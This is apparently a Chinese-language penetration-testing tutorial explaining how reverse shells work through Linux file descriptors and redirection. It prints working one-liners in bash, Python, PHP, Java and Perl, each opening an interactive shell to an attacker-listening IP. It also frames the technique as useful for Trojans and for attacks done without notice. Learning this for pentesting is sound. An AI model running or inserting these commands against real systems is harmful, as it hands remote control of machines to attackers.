前言
在渗透测试过程中,反弹shell是获取到权限的一种很重要的方式,一直用那些反弹shell的命令却不知道是什么意思,现在来专门学习一下原理。
什么是反弹shell
反弹shell(reverse shell),就是监控端在监控某TCP/UDP端口,被控制端使用漏洞或其他方法发起请求到该端口,并将其命令行的输入输出转到控制端。
为什么要反弹shell
当我们已经打开了被攻击机的相应端口,如22,3389等,但是有以下几种情况我们是无法直接去连接的
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的ip会动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
这样反弹shell的目的就很明了了,攻击指定服务器,并让其主动连接攻击者的请求,达到悄无声息地完成攻击的目的。
原理剖析
我们常见的反弹shell主要是由文件描述符和重定向符号组成,Linux一切皆文件,当Linux系统启动后,会默认打开三个文件描述符
stdin 0->/dev/tty0 标准输入
stdout 1->/dev/tty0 标准输出
strderr 2->/dev/tty0 错误输出
重定向符号
输入重定向:< <<
输出重定向:> >>
常见的反弹shell命令
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
- bash -i 指打开一个交互式的shell
- &> >&都表示标准输出或者标准错误输出
- /dev/tcp/ip/port 这个文件其实可以看做是一个设备,其实去访问会发现根本不存在的
但是如果在一方监听端口的情况下对这个文件进行读写,就能实现实时监听端口的服务器的
socket通信的功能 - 0<&1 和 0>&1指文件描述符的复制
其他脚本一句话shell反弹
除了netcat,还有很多其他的反弹shell的方法,也是先在自己的服务器上开启监听端口,然后在攻击机上使用脚本或利用漏洞发起连接。每种方法使用不同的语言去创建socket进程,从而形成连接。
python脚本反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php脚本反弹
php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
java脚本反弹
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
perl脚本反弹
perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
总结
反弹shell表面上虽然只有一点东西,但是里面也扩展出来了很多,还有很多自己不知道的。未完待续~~
参考文章
https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549
https://www.anquanke.com/post/id/87017